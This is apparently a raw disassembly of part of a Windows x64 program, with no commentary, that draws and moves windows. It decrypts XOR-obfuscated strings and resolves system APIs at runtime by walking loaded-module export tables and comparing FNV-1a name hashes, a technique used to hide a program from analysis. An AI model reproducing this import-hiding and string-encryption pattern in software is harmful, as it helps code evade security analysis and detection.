movd dword [rbp + 0x7a0], xmm2
movdqa xmm2, xmmword [0x1400b4650]
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm10
punpckldq xmm1, xmm2
pmuldq xmm1, xmm10
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
movd xmm1, dword [rbp + 0x7a4]
psubd xmm2, xmm0
andps xmm2, xmm12
movd xmm0, ecx
packuswb xmm2, xmm2
mov r8d, 0x14
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x7a4], xmm2
movdqa xmm2, xmmword [0x1400b4660]
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm10
pmuldq xmm1, xmm10
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, edx
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x7a8], xmm2
mov eax, r8d
lea r9, [rbp + 0x798]
add r9, rax
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x33
xor byte [r9 - 1], al
cmp r8d, 0x16
jl 0x140084170
movaps xmm1, xmm6
mov ecx, esi
call fcn.1400429e0
cmp byte [0x1400b0f25], 0
mov ebx, eax
movups xmm2, xmmword [0x1400b0f10]
movzx ecx, word [0x1400b0f24]
mov edx, dword [0x1400b0f20]
movups xmmword [rsp + 0x70], xmm2
mov dword [rbp - 0x80], edx
mov word [rbp - 0x7c], cx
je 0x140084431
mov r8d, r13d
cmp r15d, 2
jl 0x1400843f2
movd eax, xmm2
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
movdqa xmm2, xmm14
pmuldq xmm0, xmm10
pmuldq xmm1, xmm10
movd ecx, xmm15
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm11
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, ecx
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, eax
xorps xmm1, xmm0
movdqa xmm0, xmm14
punpckhdq xmm0, xmm14
pmuldq xmm0, xmm10
movd dword [rsp + 0x70], xmm1
movdqa xmm1, xmm14
punpckldq xmm1, xmm14
pmuldq xmm1, xmm10
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x74]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm7
xorps xmm2, xmm1
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm10
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm10
movd dword [rsp + 0x74], xmm2
movdqa xmm2, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x78]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rsp + 0x78], xmm2
movdqa xmm2, xmmword [0x1400b4650]
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm10
punpckldq xmm1, xmm2
pmuldq xmm1, xmm10
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
movd xmm1, dword [rsp + 0x7c]
psubd xmm2, xmm0
andps xmm2, xmm12
movd xmm0, ecx
packuswb xmm2, xmm2
mov r8d, 0x14
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rsp + 0x7c], xmm2
movdqa xmm2, xmmword [0x1400b4660]
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm10
pmuldq xmm1, xmm10
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, edx
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp - 0x80], xmm2
mov eax, r8d
lea r9, [rsp + 0x70]
add r9, rax
nop dword [rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x33
xor byte [r9 - 1], al
cmp r8d, 0x16
jl 0x140084400
movss xmm3, dword [0x140239378]
lea r9, [rsp + 0x70]
movss xmm2, dword [0x14023937c]
lea rcx, [rbp + 0x388]
movaps xmm1, xmm2
movaps xmm0, xmm3
addss xmm1, dword [0x1400b1094]
addss xmm0, xmm9
addss xmm2, xmm8
unpcklps xmm0, xmm1
movaps xmm1, xmm3
unpcklps xmm1, xmm2
movq r8, xmm0
movq rdx, xmm1
call fcn.14007c250
mov rcx, qword [0x140239370]
lea r9, [rbp + 0x798]
mov r8d, ebx
mov qword [rsp + 0x20], r13
mov rdx, rax
call fcn.140057000
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140084525
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140084525
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + r10]
mov edx, 0x6af365a1
add r8, r10
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x140084520
nop
movsx ecx, cl
lea r8, [r8 + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8 - 1]
test cl, cl
jne 0x140084500
cmp edx, 0x4249bc4
je 0x14008452a
test r9d, r9d
jne 0x1400844e0
mov rax, qword [rax]
jmp 0x1400844b0
mov eax, dword [rbx + 0x24]
mov ecx, dword [rbx + 0x1c]
add rax, r10
add rcx, r10
movzx edx, word [rax + r9*2]
mov eax, dword [rcx + rdx*4]
mov ecx, 0x1388
add rax, r10
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x1400845d5
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x1400845d5
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + r11]
mov edx, 0x81b80f1f
add r8, r10
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x1400845d0
nop
movsx ecx, cl
lea r8, [r8 + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8 - 1]
test cl, cl
jne 0x1400845b0
cmp edx, 0xe980039f
je 0x1400845da
test r9d, r9d
jne 0x140084590
mov rax, qword [rax]
jmp 0x140084560
mov eax, dword [rbx + 0x24]
mov ecx, dword [rbx + 0x1c]
add rax, r10
add rcx, r10
movzx edx, word [rax + r9*2]
mov eax, dword [rcx + rdx*4]
mov ecx, 0xb7
add rax, r10
call rax
lea rcx, [rbp + 0x7f8]
call fcn.140030ce0
lea rcx, [rbp + 0x7b8]
call fcn.1400319c0
lea rcx, [rbp + 0x770]
call fcn.140030ce0
movss xmm6, dword [0x140239378]
lea rcx, [rsp + 0x70]
movdqa xmm0, xmmword [0x1400a7d60]
addss xmm6, dword [0x1400a2a08]
movups xmmword [rsp + 0x70], xmm0
call fcn.14003fa90
movss xmm2, dword [0x14023937c]
lea r8, [rbp + 0x178]
mov rcx, qword [0x140239370]
lea rdx, [rbp + 0x180]
movaps xmm0, xmm6
movss dword [rbp + 0x180], xmm6
addss xmm0, xmm8
movaps xmm1, xmm2
addss xmm1, dword [0x1400b1088]
addss xmm2, dword [0x1400b1084]
mov r9d, eax
movss dword [rbp + 0x178], xmm0
movss xmm0, dword [0x1400a28dc]
movss dword [rsp + 0x30], xmm0
movss xmm0, dword [0x1400a28f4]
mov dword [rsp + 0x28], r13d
movss dword [rsp + 0x20], xmm0
movss dword [rbp + 0x17c], xmm1
movss dword [rbp + 0x184], xmm2
call fcn.140056d40
movdqa xmm0, xmmword [0x1400b10c0]
lea rcx, [rsp + 0x70]
movups xmmword [rsp + 0x70], xmm0
call fcn.14003fa90
movss xmm0, dword [0x140239418]
lea r8, [rbp + 0x188]
movss xmm2, dword [0x14023937c]
addss xmm0, xmm6
mov rcx, qword [0x140239370]
lea rdx, [rbp + 0x190]
movaps xmm1, xmm2
mov dword [rsp + 0x28], r13d
addss xmm1, dword [0x1400b1088]
addss xmm2, dword [0x1400b1084]
movss dword [rbp + 0x188], xmm0
mov r9d, eax
movss xmm0, dword [0x1400a28f4]
movss dword [rsp + 0x20], xmm0
movss dword [rbp + 0x18c], xmm1
movss dword [rbp + 0x190], xmm6
movss dword [rbp + 0x194], xmm2
call fcn.140056e50
movss xmm0, dword [0x140239418]
comiss xmm0, dword [0x1400b1090]
jbe 0x14008476c
mov rcx, r14
call qword [sym.imp.USER32.dll_DestroyWindow]
lea rcx, [rbp + 0x198]
mov qword [rbp + 0x198], 0
call fcn.14004eaa0
cmp byte [0x1400b1023], 0
movsd xmm0, qword [str._CShoPT_SJ_]
mov ecx, dword [0x1400b1020]
movsd qword [rbp + 0xf0], xmm0
mov dword [rbp + 0x1a0], 0x43c80000
mov dword [rbp + 0x1a4], 0x43af0000
mov dword [rbp + 0xf8], ecx
je 0x140084953
mov r8d, r13d
cmp r15d, 2
jl 0x14008490f
movd eax, xmm15
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
movdqa xmm2, xmm14
pmuldq xmm0, xmm10
pmuldq xmm1, xmm10
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm11
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [str._CShoPT_SJ_]
xorps xmm1, xmm0
movdqa xmm0, xmm14
punpckhdq xmm0, xmm14
pmuldq xmm0, xmm10
movd dword [rbp + 0xf0], xmm1
movdqa xmm1, xmm14
punpckldq xmm1, xmm14
pmuldq xmm1, xmm10
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0xf4]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm7
xorps xmm2, xmm1
punpckhdq xmm0, xmm7
movd dword [rbp + 0xf4], xmm2
movdqa xmm1, xmm7
pmuldq xmm0, xmm10
movdqa xmm2, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm10
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, ecx
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0xf8], xmm2
jmp 0x140084953
lea r9, [rbp + 0xf0]
nop word [rax + rax]
mov eax, 0x2f684bdb
lea r9, [r9 + 1]
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x33
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x140084920
xor r8d, r8d
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xf0]
call fcn.14006f350
call fcn.1400448a0
test al, al
je 0x1400849fe
lea rdx, [rbp + 0x810]
mov rcx, r14
call qword [sym.imp.USER32.dll_GetWindowRect]
movss xmm6, dword [0x1400a2934]
lea rcx, [rbp + 0x390]
movaps xmm2, xmm6
xor edx, edx
call fcn.140043020
movd xmm0, dword [rbp + 0x814]
lea rcx, [rbp + 0x398]
cvtdq2ps xmm0, xmm0
xor edx, edx
movaps xmm2, xmm6
addss xmm0, dword [rax + 4]
cvttss2si ebx, xmm0
call fcn.140043020
mov r12d, 1
mov r9d, 0x190
mov r8d, ebx
mov dword [rsp + 0x28], r12d
mov rcx, r14
mov dword [rsp + 0x20], 0x15e
movd xmm0, dword [rbp + 0x810]
cvtdq2ps xmm0, xmm0
addss xmm0, dword [rax]
cvttss2si edx, xmm0
call qword [sym.imp.USER32.dll_MoveWindow]
jmp 0x140084a04
mov r12d, 1
call fcn.140040870
call fcn.14004b1e0
mov rcx, qword [0x1402393a8]
lea r8, [0x1402393c0]
xorps xmm0, xmm0
xor r9d, r9d
movups xmmword [rbp + 0xbb8], xmm0
mov edx, r12d
mov rax, qword [rcx]
call qword [rax + 0x108]
mov rcx, qword [0x1402393a8]
lea r8, [rbp + 0xbb8]
mov rdx, qword [0x1402393c0]
mov rax, qword [rcx]
call qword [rax + 0x190]
call fcn.140042a40
mov rcx, rax
call fcn.140066710
mov rcx, qword [0x1402393b0]
xor r8d, r8d
mov edx, r12d
mov rax, qword [rcx]
call qword [rax + 0x40]
mov ebx, dword [rbp + 0x7e0]
mov rsi, qword [rbp + 0x250]
mov rdi, qword [rbp + 0x248]
jmp 0x14007ec20
call fcn.140067380
call fcn.140067970
xor ecx, ecx
call fcn.1400407f0
mov rcx, qword [0x1402393c0]
test rcx, rcx
je 0x140084ab6
mov rax, qword [rcx]
call qword [rax + 0x10]
mov qword [0x1402393c0], r13
mov rcx, qword [0x1402393b0]
test rcx, rcx
je 0x140084acf
mov rax, qword [rcx]
call qword [rax + 0x10]
mov qword [0x1402393b0], r13
mov rcx, qword [0x1402393a8]
test rcx, rcx
je 0x140084ae8
mov rax, qword [rcx]
call qword [rax + 0x10]
mov qword [0x1402393a8], r13
mov rcx, qword [0x1402393a0]
test rcx, rcx
je 0x140084b01
mov rax, qword [rcx]
call qword [rax + 0x10]
mov qword [0x1402393a0], r13
mov rcx, r14
call qword [sym.imp.USER32.dll_DestroyWindow]
mov rdx, qword [rbp + 0x738]
mov rcx, qword [rbp + 0x760]
call qword [sym.imp.USER32.dll_UnregisterClassW]
lea rcx, [rbp + 0x930]
call fcn.14007a770
mov rdx, qword [rbp + 0x8d8]
cmp rdx, 0xf
jbe 0x140084b6b
mov rcx, qword [rbp + 0x8c0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140084b66
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140084c9f
call fcn.1400999e0
mov rdx, qword [rbp + 0x838]
cmp rdx, 0xf
jbe 0x140084bac
mov rcx, qword [rbp + 0x820]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140084ba7
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140084c9f
call fcn.1400999e0
mov rdx, qword [rbp + 0x8b8]
cmp rdx, 0xf
jbe 0x140084bed
mov rcx, qword [rbp + 0x8a0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140084be8
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140084c9f
call fcn.1400999e0
mov rdx, qword [rbp + 0x858]
cmp rdx, 0xf
jbe 0x140084c2a
mov rcx, qword [rbp + 0x840]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140084c25
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140084c9f
call fcn.1400999e0
mov rdx, qword [rbp + 0x878]
cmp rdx, 0xf
jbe 0x140084c67
mov rcx, qword [rbp + 0x860]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140084c62
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140084c9f
call fcn.1400999e0
mov rdx, qword [rbp + 0x898]
cmp rdx, 0xf
jbe 0x140084cab
mov rcx, qword [rbp + 0x880]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140084ca6
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140084ca6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400999e0
movaps xmm9, xmmword [rsp + 0xd40]
movaps xmm8, xmmword [rsp + 0xd50]
movaps xmm7, xmmword [rsp + 0xd60]
movaps xmm6, xmmword [rsp + 0xd70]
movaps xmm14, xmmword [rsp + 0xcf0]
mov rcx, qword [rbp + 0xbd8]
xor rcx, rsp
call fcn.140099880
lea r11, [rsp + 0xd80]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
movaps xmm15, xmmword [r11 - 0xa0]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007ae90
mov rdx, qword [rbp + 0x738]
mov rcx, qword [rbp + 0x760]
call qword [sym.imp.USER32.dll_UnregisterClassW]
lea rcx, [rbp + 0x930]
call fcn.14007a770
mov r8, qword [rbp + 0x8d8]
cmp r8, 0xf
jbe 0x140084d75
mov rdx, qword [rbp + 0x8c0]
lea rcx, [rbp + 0x8c0]
call fcn.140034390
mov r8, qword [rbp + 0x838]
cmp r8, 0xf
jbe 0x140084d95
mov rdx, qword [rbp + 0x820]
lea rcx, [rbp + 0x820]
call fcn.140034390
mov r8, qword [rbp + 0x8b8]
cmp r8, 0xf
jbe 0x140084db5
mov rdx, qword [rbp + 0x8a0]
lea rcx, [rbp + 0x8a0]
call fcn.140034390
mov r8, qword [rbp + 0x858]
cmp r8, 0xf
jbe 0x140084dd5
mov rdx, qword [rbp + 0x840]
lea rcx, [rbp + 0x840]
call fcn.140034390
mov r8, qword [rbp + 0x878]
cmp r8, 0xf
jbe 0x140084df5
mov rdx, qword [rbp + 0x860]
lea rcx, [rbp + 0x860]
call fcn.140034390
mov r8, qword [rbp + 0x898]
cmp r8, 0xf
jbe 0x140084e15
mov rdx, qword [rbp + 0x880]
lea rcx, [rbp + 0x880]
call fcn.140034390
mov eax, r12d
jmp 0x140084cd6
lea rcx, [rbp + 0x7f8]
call fcn.140030cd0
mov rcx, rax
call fcn.14007af90
int3
mov ecx, dword [rsp + 0x74]
call fcn.140011060
int3
mov ecx, dword [rsp + 0x74]
call fcn.140011060
int3
mov ecx, 0x16
call fcn.140010d80
int3
lea r8, [rbp + 0x770]
lea rdx, [rsp + 0x70]
lea rcx, str.exists
call fcn.140011830
int3
call fcn.14001c910
int3
call sub.MSVCP140.dll_void___cdecl_std::_Xbad_function_call_void_
int3
call fcn.14001c910
int3